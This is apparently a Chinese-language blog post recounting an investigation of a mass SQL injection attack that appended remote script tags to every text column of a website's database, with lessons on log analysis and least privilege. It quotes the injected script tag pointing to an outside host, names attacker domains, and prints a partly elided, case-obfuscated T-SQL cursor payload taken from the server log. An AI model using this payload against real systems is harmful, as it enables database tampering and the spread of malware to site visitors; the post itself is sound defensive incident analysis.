游擊式的SQL Injection攻擊

最近處理了一個棘手的SQL Injection案例，又增長了一些見聞

(如果你身為網站設計人員卻不知道什麼是SQL Injection，建議你最好立即請假佯裝出國度假或雙手打上石膏裝殘，無論如何，在搞懂什麼是SQL Injection之前，務必暫停手邊的開發工作，以免在系統埋下更多的炸彈，遺害千年!  我有幾篇文章可以參考: ASP.NET防駭指南、你的網站在裸奔嗎?)

這次遇到的狀況是發現網站上一些內容顯示有誤，似乎是HTML格式不對。仔細確認，發現資料庫中的所有varchar, nvarchar欄位資料後方都被加上了</title></pre>><s cript src="/img/loading.svg" data-src=" http: // 某個網站 / 某個.js "></s cript><!--

看到這種寫法，我立刻想起過去曾經解剖過的木馬。順著它寫的js連過去檢查，證實了這是個掛馬的技倆沒錯。

因此，我有了初步推測:

1. 所有DB的文字欄位都被加上相同的東西，應該是使用SQL指令造成的
2. 加上掛馬用的js，目的是希望透過網站當媒介，將木馬散播出去，因此對方知道這是Web主機用的DB。
3. 綜合以上兩點，這應該是SQL Injection攻擊!!

既然是由Web進入的SQL Injection攻擊，理論上就應該可以由IIS Log中看出端倪。不過由於被攻擊的時點不確定，要搜索的範圍很大，加上我對SQL Injection手法有些過時的錯誤認知，因此一開始花了不少時間卻亳無所獲。

這裡說說所謂"過時的錯誤認"知是什麼，讓大家引以為戒:

1. 有設定Custom Error Page就可以有效阻擋SQL Injection攻擊?
   錯! 可以擋住一般的業餘駭客手工破解，但擋不住高手或自動工具。
2. 駭客會在TextBox中輸入不同的值來嘗試攻擊，方能不受QueryString長度的限制
   錯! GET一樣可以漂亮完成工作，一開始只鎖定POST的Log記錄顯然找錯了方向
3. SQL Injection多半是一連串的反覆嚐試，因此可以在Log上找到明顯跡象?
   錯! 這年頭自動工具都很快、狠、準，不會留下太多足跡。
4. 在SQL Injection的嘗試過程中，常會觸發HTTP Status 500 Error?
   錯! 有一種遊擊式攻擊法，只會發射幾個特定的URL，若僥倖成功，半個Error也不會留下。

Google了一下(關鍵字hao929.cn, sb.5252.ws, , ，發現遇到相似攻擊的人很多，甚至有人把它定義成病毒，我找到一個網站提供了頗為詳細的說明，發現它的原理是利用sysobjects, syscolumns去列出所有的文字欄位，非常合理。很幸運地，用sysobjects當成關鍵字，我在IIS Log中找到了證據。

邪惡的傢伙利用QueryString加掛了一段Code，使整段SQL變成:

select top 1 blahColC from blahTable where blahColA=123;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b ...略... b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 ...略... UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x3C2F74697 ...略... tAbLe_cursoR;-- order by blahColB desc

其中看到它用了0x3C2F7469...這種寫法將</title>等文字隱藏起來，同時還故意用了奇怪的大小寫組合讓SQL指令不易閱讀。其中使用的手法如同在F-SECURE看到一樣，但我所謂的"幸運"，是指這回遇上的，並沒將核心的SQL語法用Binary表示，否則會更難用Text工具直接從Log檔中找到線索。

除此之外，我發現同一個Client還發了另外兩個Request，檢測目前的使用者是否為db_owner或sysadmin，也許是因為有限定了連線DB的帳號權限(這點印證了我在文章中提到"權限愈小傷害愈小"理論)，在測試權限失敗後，就沒有後續動作了。說不定如果用的帳號是sa，後面就開始跑DOS Command、傳檔案、裝後門，光用想的就會讓人冒冷汗。

【結論】

傳統印象中，SQL Injection要設法取得欄位名稱資訊，以偷出資料或從事破壞為樂。但是要進行這些操作，通常得仰賴網站傳回錯誤訊息的細節才能提供繼續深入的情報。近年來，很多網站預設都已開啟Custom Error Page，讓手工操作入侵的難度變高。不過，也開發現一些新的攻擊趨勢:

1. 駭客圈已流傳一些現成的SQL注入工具，裡面已針對ORACLE、SQL、MySQL、Access等各家資料庫寫好預設的多組測試Script，不需要耐性過人也不必做苦工，交給工具快速試過一輪即可輕鬆得手。再配合Google找尋獵物，亂槍打鳥之下，就算你的網站沒什麼名氣都可能中鏢。

2. 除了有心駭客設法要破解網站盜取資訊，還有一種打遊擊式的SQL Injection攻擊，把全部的攻擊指令濃縮成一行QueryString，四處亂試主機，成功就爽到，失敗了不過浪費幾百個Bytes的頻寬，是穩賺不賠的生意。而攻擊指令是假設資料庫的內容會被當成HTML顯示在網站上，所以只要找出SQL資料庫中所有的varchar, nvarchar, ntext, text欄位，在後方加上一段<script src=”用來載入木馬的js檔案”>，就可以將網站當成感染源，達到廣種木馬的目標。(這類木馬的原理可以參考先前發表過的"有趣的木馬解剖"，通常只要勤做Windows Update並避免執行來路不明的程式就可避免)

【延伸閱讀】資安廠商提供的資訊，描述的手法跟我觀察到的很相像:

"... 僅使用一行網站Request 就完成入侵，將惡意連結注入到後端的資料庫裡面，同時可以更改所有資料庫中可運用的表格，因為僅短短一行注入攻擊碼在網站Log稽核檔案中很難發現。即使網站已經關閉錯誤回應訊息(一般防堵SQL Injection的作法)，只要注入點未作輸入資料驗證，此攻擊仍然可以成功，導致誤認已經關閉錯誤訊息就可以高枕無憂的網站，大量遭到入侵。 ..."